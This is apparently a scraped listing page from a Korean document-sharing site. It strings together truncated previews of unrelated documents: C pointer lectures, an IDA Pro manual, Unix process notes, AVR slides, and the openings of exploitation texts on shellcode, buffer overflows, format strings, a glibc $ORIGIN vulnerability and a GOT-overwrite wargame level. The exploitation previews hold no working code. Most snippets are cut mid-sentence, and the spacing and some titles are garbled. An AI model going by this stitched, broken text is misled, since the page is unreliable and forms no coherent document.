10. 10. 10.1 10.2 Library Routine: void perror (char* str) perror( ) str Error 0 10.3 10.3 int fd; /* */ fd = open (filename, ) /*, */ if (fd = = -1) { /* */ } fcnt1 (fd, ); /* */ read (fd, ); /* */ write

More information

IDA 5.x Manual 07.02.hwp

IDA 5.x Manual 07.02.hwp IDA 5.x Manual - Manual 01 - 영리를 목적으로 한 곳에서 배포금지 Last Update 2007. 02 이강석 / certlab@gmail.com 어셈블리어 개발자 그룹 :: 어셈러브 http://www.asmlove.co.kr - 1 - IDA Pro 는 Disassembler 프로그램입니다. 기계어로 되어있는 실행파일을 어셈블리언어

More information

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2

목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 제 8 장. 포인터 목차 포인터의개요 배열과포인터 포인터의구조 실무응용예제 C 2 포인터의개요 포인터란? 주소를변수로다루기위한주소변수 메모리의기억공간을변수로써사용하는것 포인터변수란데이터변수가저장되는주소의값을 변수로취급하기위한변수 C 3 포인터의개요 포인터변수및초기화 * 변수데이터의데이터형과같은데이터형을포인터 변수의데이터형으로선언 일반변수와포인터변수를구별하기위해

More information

/chroot/lib/ /chroot/etc/

/chroot/lib/ /chroot/etc/ 구축 환경 VirtualBox - Fedora 15 (kernel : 2.6.40.4-5.fc15.i686.PAE) 작동 원리 chroot유저 ssh 접속 -> 접속유저의 홈디렉토리 밑.ssh의 rc 파일 실행 -> daemonstart실행 -> daemon 작동 -> 접속 유저만의 Jail 디렉토리 생성 -> 접속 유저의.bashrc 의 chroot 명령어

More information

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D FC7C1B7CEBCBCBDBA20BBFDBCBAB0FA20BDC7C7E0205BC8A3C8AF20B8F0B5E55D> 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 프로세스생성 [1] 프로그램실행

More information

2009년 상반기 사업계획

2009년 상반기 사업계획 프로세스생성과실행 IT CookBook, 유닉스시스템프로그래밍 학습목표 프로세스를생성하는방법을이해한다. 프로세스를종료하는방법을이해한다. exec함수군으로새로운프로그램을실행하는방법을이해한다. 프로세스를동기화하는방법을이해한다. 2/24 목차 프로세스생성 프로세스종료함수 exec 함수군활용 exec 함수군과 fork 함수 프로세스동기화 3/24 프로세스생성 [1]

More information

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조

학습목차 2.1 다차원배열이란 차원배열의주소와값의참조 - Part2- 제 2 장다차원배열이란무엇인가 학습목차 2.1 다차원배열이란 2. 2 2 차원배열의주소와값의참조 2.1 다차원배열이란 2.1 다차원배열이란 (1/14) 다차원배열 : 2 차원이상의배열을의미 1 차원배열과다차원배열의비교 1 차원배열 int array [12] 행 2 차원배열 int array [4][3] 행 열 3 차원배열 int array [2][2][3]

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 13. 포인터와배열! 함께이해하기 2013.10.02. 오병우 컴퓨터공학과 13-1 포인터와배열의관계 Programming in C, 정재은저, 사이텍미디어. 9 장참조 ( 교재의 13-1 은읽지말것 ) 배열이름의정체 배열이름은 Compile 시의 Symbol 로서첫번째요소의주소값을나타낸다. Symbol 로서컴파일시에만유효함 실행시에는메모리에잡히지않음

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Web server porting 2 Jo, Heeseung Web 을이용한 LED 제어 Web 을이용한 LED 제어프로그램 web 에서데이터를전송받아타겟보드의 LED 를조작하는프로그램을작성하기위해다음과같은소스파일을생성 2 Web 을이용한 LED 제어 LED 제어프로그램작성 8bitled.html 파일을작성 root@ubuntu:/working/web# vi

More information

금오공대 컴퓨터공학전공 강의자료

금오공대 컴퓨터공학전공 강의자료 C 프로그래밍프로젝트 Chap 14. 포인터와함수에대한이해 2013.10.09. 오병우 컴퓨터공학과 14-1 함수의인자로배열전달 기본적인인자의전달방식 값의복사에의한전달 val 10 a 10 11 Department of Computer Engineering 2 14-1 함수의인자로배열전달 배열의함수인자전달방식 배열이름 ( 배열주소, 포인터 ) 에의한전달 #include

More information

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770> 연습문제해답 5 4 3 2 1 0 함수의반환값 =15 5 4 3 2 1 0 함수의반환값 =95 10 7 4 1-2 함수의반환값 =3 1 2 3 4 5 연습문제해답 1. C 언어에서의배열에대하여다음중맞는것은? (1) 3차원이상의배열은불가능하다. (2) 배열의이름은포인터와같은역할을한다. (3) 배열의인덱스는 1에서부터시작한다. (4) 선언한다음, 실행도중에배열의크기를변경하는것이가능하다.

More information

Execute_Shellcode_on_the_MacOSX.txt - 메모장

Execute_Shellcode_on_the_MacOSX.txt - 메모장 ####################################################################### Execute Shellcode on the MacOSX 1ndr4 "indra.kr". " x40". "gmail.com" http://indra.linuxstudy.pe.kr 2005. 08. 19. ########################################################################

More information

Microsoft PowerPoint - a5a.ppt [호환 모드]

Microsoft PowerPoint - a5a.ppt [호환 모드] 5 장프로시저 (1) 책의라이브러리사용 5 장전반부 : 책의링크라이브러리 외부링크라이브러리개요 라이브러리프로시저호출 라이브러리링크 라이브러리프로시저 예제 연세대학교컴퓨터정보통신어셈블리언어 2 저자제공링크라이브러리 라이브러리파일 어셈블된프로시저를포함하고있는 OBJ 파일들을모아놓은파일 ( 확장자.LIB) 각 OBJ file 에는하나이상의 procedure 가들어있음

More information

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과 System call table and linkage v Ref. http://www.ibm.com/developerworks/linux/library/l-system-calls/ - 2 - Young-Jin Kim SYSCALL_DEFINE 함수

More information

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D>

<4D F736F F F696E74202D20BBB7BBB7C7D15F FBEDFB0A3B1B3C0B05FC1A638C0CFC2F72E BC8A3C8AF20B8F0B5E55D> 뻔뻔한 AVR 프로그래밍 The Last(8 th ) Lecture 유명환 ( yoo@netplug.co.kr) INDEX 1 I 2 C 통신이야기 2 ATmega128 TWI(I 2 C) 구조분석 4 ATmega128 TWI(I 2 C) 실습 : AT24C16 1 I 2 C 통신이야기 I 2 C Inter IC Bus 어떤 IC들간에도공통적으로통할수있는 ex)

More information

Adobe Flash 취약점 분석 (CVE-2012-0754)

Adobe Flash 취약점 분석 (CVE-2012-0754) 기술문서 14. 08. 13. 작성 GNU C library dynamic linker $ORIGIN expansion Vulnerability Author : E-Mail : 윤지환 131ackcon@gmail.com Abstract 2010 년 Tavis Ormandy 에 의해 발견된 취약점으로써 정확한 명칭은 GNU C library dynamic linker

More information

6주차.key

6주차.key 6, Process concept A program in execution Program code PCB (process control block) Program counter, registers, etc. Stack Heap Data section => global variable Process in memory Process state New Running

More information

Microsoft PowerPoint - chap06-2pointer.ppt

Microsoft PowerPoint - chap06-2pointer.ppt 2010-1 학기프로그래밍입문 (1) chapter 06-2 참고자료 포인터 박종혁 Tel: 970-6702 Email: jhpark1@snut.ac.kr 한빛미디어 출처 : 뇌를자극하는 C프로그래밍, 한빛미디어 -1- 포인터의정의와사용 변수를선언하는것은메모리에기억공간을할당하는것이며할당된이후에는변수명으로그기억공간을사용한다. 할당된기억공간을사용하는방법에는변수명외에메모리의실제주소값을사용하는것이다.

More information

Microsoft PowerPoint - C프로그래밍-chap03.ppt [호환 모드]

Microsoft PowerPoint - C프로그래밍-chap03.ppt [호환 모드] Chapter 03 변수와자료형 2009 한국항공대학교항공우주기계공학부 (http://mercury.kau.ac.kr/sjkwon) 1 변수와자료유형 변수 프로그램에서자료값을임시로기억할수있는저장공간을변수 (variables) 변수 (Variables) 는컴퓨터의메모리인 RAM(Random Access Memory) 에저장 물건을담는박스라고생각한다면박스의크기에따라담을물건이제한됨

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 정보보안개론 4 장 이장에서다룰내용 1 컴퓨터의기본구조를살펴본다. 2 기계어수준에서의프로그램동작을이해한다. 2 3 버퍼오버플로우와포맷스트링공격을알아본다. Section 01 시스템과프로그램에대한이해 v 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이 생성되며, 이메모리공간은다시그목적에따라상위, 하위메모리로나뉨. 상위메모리 : 스택

More information

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2

비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 비트연산자 1 1 비트와바이트 비트와바이트 비트 (Bit) : 2진수값하나 (0 또는 1) 를저장할수있는최소메모리공간 1비트 2비트 3비트... n비트 2^1 = 2개 2^2 = 4개 2^3 = 8개... 2^n 개 1 바이트는 8 비트 2 2 진수법! 2, 10, 16, 8! 2 : 0~1 ( )! 10 : 0~9 ( )! 16 : 0~9, 9 a, b,

More information

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

Microsoft PowerPoint - ch04_코드 보안 [호환 모드] 이장에서다룰내용 1 2 3 컴퓨터의기본구조를살펴본다. 기계어수준에서의프로그램동작을이해한다. 버퍼오버플로우와포맷스트링공격을알아본다. 정보보안개론 4 장 Section 01 시스템과프로그램에대한이해 Section 01 시스템과프로그램에대한이해 시스템메모리구조 프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성되며, 이메모리공간은다시그목적에따라상위,

More information

ABC 11장

ABC 11장 12 장고급응용 0 수행중인프로그램 프로세스 모든프로세스는유일한프로세스식별번호 (PID) 를가짐 유닉스에서는 ps 명령을사용하여프로세스목록을볼수있음 12-1 프로세스 $ ps -aux USER PID %CPU %MEM SZ RSS TT STAT START TIME COMMAND blufox 17725 34.0 1.6 146 105 i2 R 15:13 0:00

More information

ISP and CodeVisionAVR C Compiler.hwp

ISP and CodeVisionAVR C Compiler.hwp USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler http://www.avrmall.com/ November 12, 2007 Copyright (c) 2003-2008 All Rights Reserved. USBISP V3.0 & P-AVRISP V1.0 with CodeVisionAVR C Compiler

More information

슬라이드 1

슬라이드 1 -Part3- 제 4 장동적메모리할당과가변인 자 학습목차 4.1 동적메모리할당 4.1 동적메모리할당 4.1 동적메모리할당 배울내용 1 프로세스의메모리공간 2 동적메모리할당의필요성 4.1 동적메모리할당 (1/6) 프로세스의메모리구조 코드영역 : 프로그램실행코드, 함수들이저장되는영역 스택영역 : 매개변수, 지역변수, 중괄호 ( 블록 ) 내부에정의된변수들이저장되는영역

More information

Microsoft PowerPoint - a6.ppt [호환 모드]

Microsoft PowerPoint - a6.ppt [호환 모드] 이장의내용 6 장조건부처리 부울과비교명령어 조건부점프 조건부루프명령어 조건부구조 컴퓨터정보통신 어셈블리언어 2 6.2 부울과비교명령어 부울명령어 Instructions ti 동작 AND dst, src OR dst, src XOR dst, src NOT dst dst dst AND src dst dst OR src dst dst XOR src dst NOT

More information

Microsoft Word - FunctionCall

Microsoft Word - FunctionCall Function all Mechanism /* Simple Program */ #define get_int() IN KEYOARD #define put_int(val) LD A val \ OUT MONITOR int add_two(int a, int b) { int tmp; tmp = a+b; return tmp; } local auto variable stack

More information

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning C Programming Practice (II) Contents 배열 문자와문자열 구조체 포인터와메모리관리 구조체 2/17 배열 (Array) (1/2) 배열 동일한자료형을가지고있으며같은이름으로참조되는변수들의집합 배열의크기는반드시상수이어야한다. type var_name[size]; 예 ) int myarray[5] 배열의원소는원소의번호를 0 부터시작하는색인을사용

More information

MPLAB C18 C

MPLAB C18 C MPLAB C18 C MPLAB C18 MPLAB C18 C MPLAB C18 C #define START, c:\mcc18 errorlevel{0 1} char isascii(char ch); list[list_optioin,list_option] OK, Cancel , MPLAB IDE User s Guide MPLAB C18 C

More information

Microsoft Word - readme.doc

Microsoft Word - readme.doc ========================================================= 제 1 회광주과기원정보통신공학과 SW 경진대회 (Hacking 경진대회 ) 대회시작 : 2002 년 8 월 8 일 ( 목 ) 오후 9:00 ( 한국시간, GMT+9:00) 대회종료 : 2002 년 8 월 10 일 ( 토 ) 오후 9:00 ( 한국시간, GMT+9:00)

More information

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서 커알못의 커널 탐방기 2015.12 이 세상의 모든 커알못을 위해서 개정 이력 버전/릴리스 0.1 작성일자 2015년 11월 30일 개요 최초 작성 0.2 2015년 12월 1일 보고서 구성 순서 변경 0.3 2015년 12월 3일 오탈자 수정 및 글자 교정 1.0 2015년 12월 7일 내용 추가 1.1 2015년 12월 10일 POC 코드 삽입 및 코드

More information

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Function) 1. 함수의개념 입력에대해적절한출력을발생시켜주는것 내가 ( 프로그래머 ) 작성한명령문을연산, 처리, 실행해주는부분 ( 모듈 ) 자체적으로실행되지않으며,

More information

int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \

int main(void) int a; int b; a=3; b=a+5; printf(a : %d \n, a); printf(b : %d \n, b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf( a : %x \ ? 1 int main(void) int a; int b; a=3; b=a+5; printf("a : %d \n", a); printf("b : %d \n", b); a b 3 a a+5 b &a(12ff60) &b(12ff54) 3 a 8 b printf(" a : %x \n", &a); printf(" b : %x \n", &b); * : 12ff60,

More information

11장 포인터

11장 포인터 누구나즐기는 C 언어콘서트 제 9 장포인터 이번장에서학습할내용 포인터이란? 변수의주소 포인터의선언 간접참조연산자 포인터연산 포인터와배열 포인터와함수 이번장에서는포인터의기초적인지식을학습한다. 포인터란? 포인터 (pointer): 주소를가지고있는변수 메모리의구조 변수는메모리에저장된다. 메모리는바이트단위로액세스된다. 첫번째바이트의주소는 0, 두번째바이트는 1, 변수와메모리

More information

Microsoft PowerPoint - chap03-변수와데이터형.pptx

Microsoft PowerPoint - chap03-변수와데이터형.pptx #include int main(void) { int num; printf( Please enter an integer: "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num %d\n", num); return 0; } 1 학습목표 의 개념에 대해 알아본다.

More information

=

= written by vangelis(vangelis@wowhacker.org) 0 0000 8 1000 1 0001 9 1001 2 0010 10 1010 3 0011 11 1011 4 0100 12 1100 5 0101 13 1101 6 0110 14 1110 7 0111 15 1111 110112 + 100012 = 1011002 110 0000 0101

More information

hlogin7

hlogin7 0x07. Return Oriented Programming ROP? , (DEP, ASLR). ROP (Return Oriented Programming) (excutable memory) rop. plt, got got overwrite RTL RTL Chain DEP, ASLR gadget Basic knowledge plt, got call function

More information

SRC PLUS 제어기 MANUAL

SRC PLUS 제어기 MANUAL ,,,, DE FIN E I N T R E A L L O C E N D SU B E N D S U B M O TIO

More information

강의 개요

강의 개요 DDL TABLE 을만들자 웹데이터베이스 TABLE 자료가저장되는공간 문자자료의경우 DB 생성시지정한 Character Set 대로저장 Table 생성시 Table 의구조를결정짓는열속성지정 열 (Clumn, Attribute) 은이름과자료형을갖는다. 자료형 : http://dev.mysql.cm/dc/refman/5.1/en/data-types.html TABLE

More information

Microsoft PowerPoint - a8a.ppt [호환 모드]

Microsoft PowerPoint - a8a.ppt [호환 모드] 이장의내용 8 장고급프로시저 스택프레임 재귀 (Recursion) Invoke, Addr, Proc, Proto 디렉티브 다중모듈프로그램작성 2 8.2 스택프레임 Stack Frame ( 또는 activation record) procedure 의다음사항을저장한 영역 urn address passed parameter ( 스택매개변수 ) saved register

More information

Microsoft PowerPoint - lab14.pptx

Microsoft PowerPoint - lab14.pptx Mobile & Embedded System Lab. Dept. of Computer Engineering Kyung Hee Univ. Keypad Device Control in Embedded Linux HBE-SM5-S4210 에는 16 개의 Tack Switch 를사용하여 4 행 4 열의 Keypad 가장착되어있다. 2 Keypad Device Driver

More information

BMP 파일 처리

BMP 파일 처리 BMP 파일처리 김성영교수 금오공과대학교 컴퓨터공학과 학습내용 영상반전프로그램제작 2 Inverting images out = 255 - in 3 /* 이프로그램은 8bit gray-scale 영상을입력으로사용하여반전한후동일포맷의영상으로저장한다. */ #include #include #define WIDTHBYTES(bytes)

More information

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx #include int main(void) { int num; printf( Please enter an integer "); scanf("%d", &num); if ( num < 0 ) printf("is negative.\n"); printf("num = %d\n", num); return 0; } 1 학습목표 을 작성하면서 C 프로그램의

More information

슬라이드 1

슬라이드 1 마이크로컨트롤러 2 (MicroController2) 2 강 ATmega128 의 external interrupt 이귀형교수님 학습목표 interrupt 란무엇인가? 기본개념을알아본다. interrupt 중에서가장사용하기쉬운 external interrupt 의사용방법을학습한다. 1. Interrupt 는왜필요할까? 함수동작을추가하여실행시키려면? //***

More information

The Pocket Guide to TCP/IP Sockets: C Version

The Pocket Guide to  TCP/IP Sockets: C Version 인터넷프로토콜 5 장 데이터송수신 (3) 1 파일전송메시지구성예제 ( 고정크기메시지 ) 전송방식 : 고정크기 ( 바이너리전송 ) 필요한전송정보 파일이름 ( 최대 255 자 => 255byte 의메모리공간필요 ) 파일크기 (4byte 의경우최대 4GB 크기의파일처리가능 ) 파일내용 ( 가변길이, 0~4GB 크기 ) 메시지구성 FileName (255bytes)

More information

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver. 2.0 jbyoo@konkuk.ac.kr http://dslab.konkuk.ac.kr 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다. 이번장에서학습할내용 이중포인터란무엇인가? 포인터배열 함수포인터 다차원배열과포인터 void 포인터 포인터는다양한용도로유용하게활용될수있습니다. 2 이중포인터

More information

Microsoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers

Microsoft PowerPoint - 03_(C_Programming)_(Korean)_Pointers C Programming 포인터 (Pointers) Seo, Doo-Ok Clickseo.com clickseo@gmail.com 목 차 포인터의이해 다양한포인터 2 포인터의이해 포인터의이해 포인터변수선언및초기화 포인터연산 다양한포인터 3 주소연산자 ( & ) 포인터의이해 (1/4) 변수와배열원소에만적용한다. 산술식이나상수에는주소연산자를사용할수없다. 레지스터변수또한주소연산자를사용할수없다.

More information

ch15

ch15 쉽게풀어쓴 C 언어 Express 제 14 장포인터활용 C Express 이중포인터 이중포인터 (double pointer) : 포인터를가리키는포인터 int i = 10; int *p = &i; int **q = &p; // i 는 int 형변수 // p 는 i 를가리키는포인터 // q 는포인터 p 를가리키는이중포인터 이중포인터 이중포인터의해석 이중포인터 //

More information

chap 5: Trees

chap 5: Trees 5. Threaded Binary Tree 기본개념 n 개의노드를갖는이진트리에는 2n 개의링크가존재 2n 개의링크중에 n + 1 개의링크값은 null Null 링크를다른노드에대한포인터로대체 Threads Thread 의이용 ptr left_child = NULL 일경우, ptr left_child 를 ptr 의 inorder predecessor 를가리키도록변경

More information

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다.

2. GCC Assembler와 AVR Assembler의차이 A. GCC Assembler 를사용하는경우 i. Assembly Language Program은.S Extension 을갖는다. ii. C Language Program은.c Extension 을갖는다. C 언어와 Assembly Language 을사용한 Programming 20011.9 경희대학교조원경 1. AVR Studio 에서사용하는 Assembler AVR Studio에서는 GCC Assembler와 AVR Assmbler를사용한다. A. GCC Assembler : GCC를사용하는경우 (WinAVR 등을사용하는경우 ) 사용할수있다. New Project

More information

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc

Microsoft Word - Reversing Engineering Code with IDA Pro-4-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

Microsoft PowerPoint - hy2-12.pptx

Microsoft PowerPoint - hy2-12.pptx 2.4 명령어세트 (instruction set) 명령어세트 CPU 가지원하는기계어명령어들의집합 명령어연산의종류 데이터전송 : 레지스터 / 메모리간에데이터이동 산술연산 : 덧셈, 뺄셈, 곱셈및나눗셈 논리연산 : 비트들간의 AND, OR, NOT 및 XOR 연산 입출력 (I/O) : CPU( 레지스터 ) 와외부장치들간의데이터이동 프로그램제어 : 분기, 서브루틴호출

More information

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070>

<443A5C4C C4B48555C B3E25C32C7D0B1E25CBCB3B0E8C7C1B7CEC1A7C6AE425CBED0C3E0C7C1B7CEB1D7B7A55C D616E2E637070> #include "stdafx.h" #include "Huffman.h" 1 /* 비트의부분을뽑아내는함수 */ unsigned HF::bits(unsigned x, int k, int j) return (x >> k) & ~(~0

More information

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습니다. 여러분모두 Windows 에서 hex editor(hex dump, hex viewer) 라는것을사용해보셨을겁니다. 바로바이너리파일을 16 진수

More information

Microsoft PowerPoint - IOControl [호환 모드]

Microsoft PowerPoint - IOControl [호환 모드] 목차 Input/Output Control I/O Control Mechanism mmap function munmap function RAM Area Access LED Control 4 digits 7 Segment Control Text LCD Control 1 2 I/O Control Mechanism (1) I/O Control Mechanism (2)

More information

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG - Buffer Overflow - 윤석언 SlaxCore@gmailcom 제12회세미나 수원대학교보안동아리 FLAG http://flagsuwonackr - 1 - < BOF(Buffer OverFlow) > - Stack 기반 - Heap 기반 # 기초 : Stack 기반의 BOF 스택 : 기본적으로 2개의 operation(push, pop) 과 1 개의변수(top)

More information

Chapter 4. LISTS

Chapter 4. LISTS C 언어에서리스트구현 리스트의생성 struct node { int data; struct node *link; ; struct node *ptr = NULL; ptr = (struct node *) malloc(sizeof(struct node)); Self-referential structure NULL: defined in stdio.h(k&r C) or

More information

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode]

Microsoft PowerPoint - Lecture_Note_7.ppt [Compatibility Mode] Unix Process Department of Computer Engineering Kyung Hee University. Choong Seon Hong 1 유닉스기반다중서버구현방법 클라이언트들이동시에접속할수있는서버 서비스를동시에처리할수있는서버프로세스생성을통한멀티태스킹 (Multitasking) 서버의구현 select 함수에의한멀티플렉싱 (Multiplexing)

More information

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB>

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB> 쉽게풀어쓴 C 언어 Express 제 14 장포인터활용 이중포인터 이중포인터 (double pointer) : 포인터를가리키는포인터 int i = 10; int *p = &i; int **q = &p; // i 는 int 형변수 // p 는 i 를가리키는포인터 // q 는포인터 p 를가리키는이중포인터 이중포인터 이중포인터의해석 이중포인터 // 이중포인터프로그램

More information

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt

Microsoft PowerPoint - 3ÀÏ°_º¯¼ö¿Í »ó¼ö.ppt 변수와상수 1 변수란무엇인가? 변수 : 정보 (data) 를저장하는컴퓨터내의특정위치 ( 임시저장공간 ) 메모리, register 메모리주소 101 번지 102 번지 변수의크기에따라 주로 byte 단위 메모리 2 기본적인변수형및변수의크기 변수의크기 해당컴퓨터에서는항상일정 컴퓨터마다다를수있음 short

More information

Microsoft Word - FreeBSD Shellcode 만들기.docx

Microsoft Word - FreeBSD Shellcode 만들기.docx FreeBSD Shellcode 만들기 작성자 : graylynx (graylynx at gmail.com) 작성일 : 2007년 6월 21일 ( 마지막수정일 : 2007년 6월 21일 ) http://powerhacker.net 이문서는쉘코드를만드는데필요한모든내용을포함하고있지는않습니다. 이문서를읽어보시기전에간단한어셈블리명령어와 C 언어문법, 쉘코드에대한기초적인내용을미리습득하신다면더욱더쉽게이해할수있을겁니다

More information

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc

Microsoft Word - Reverse Engineering Code with IDA Pro-2-1.doc Reverse Engineering Code with IDA Pro By Dan Kaminsky, Justin Ferguson, Jason Larsen, Luis Miras, Walter Pearce 정리 : vangelis(securityproof@gmail.com) 이글은 Reverse Engineering Code with IDA Pro(2008년출판

More information

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션 Chapter 05. 코드보안 : 코드속에뒷길을만드는기술 1. 시스템과프로그램에대한이해 2. 버퍼오버플로우공격 3. 포맷스트링공격 시스템메모리의구조 어떤프로그램을동작시키면메모리에프로그램이동작하기위한가상의메모리공간이생성됨. 그메모리공간은다시목적에따라상위메모리와하위메모리로나눔. [ 그림 5-2] 메모리의기본구조 스택영역과힙영역 상위메모리 : 스택 (Stack)

More information

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729>

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202834C1D6C2F7207E2038C1D6C2F729> 8주차중간고사 ( 인터럽트및 A/D 변환기문제및풀이 ) Next-Generation Networks Lab. 외부입력인터럽트예제 문제 1 포트 A 의 7-segment 에초시계를구현한다. Tact 스위치 SW3 을 CPU 보드의 PE4 에연결한다. 그리고, SW3 을누르면하강 에지에서초시계가 00 으로초기화된다. 동시에 Tact 스위치 SW4 를 CPU 보드의

More information

PowerPoint Template

PowerPoint Template 10 포인터 1 주소 Address( 주소 ) 메모리에는그메모리의저장장소의위치를나타내는주소값 주소 (address) 는 1 바이트마다 1 씩증가하도록메모리에는연속적인번호가구성 2 주소연산자 & & 변수 변수의주소값을알아내려면변수앞에주소연산자 & (ampersand) 를이용 주소값이용장단점 주소값을이용하면보다편리하고융통성있는프로그램이가능 그러나복잡하고어려운단점

More information

IoT FND8 7-SEGMENT api

IoT FND8 7-SEGMENT api IoT FND8 7-SEGMENT api http://www.mangoboard.com/ http://cafe.naver.com/embeddedcrazyboys Crazy Embedded Laboratory www.mangoboard.com cafe.naver.com/embeddedcrazyboys CRZ Technology 1 Document History

More information

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting

More information

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

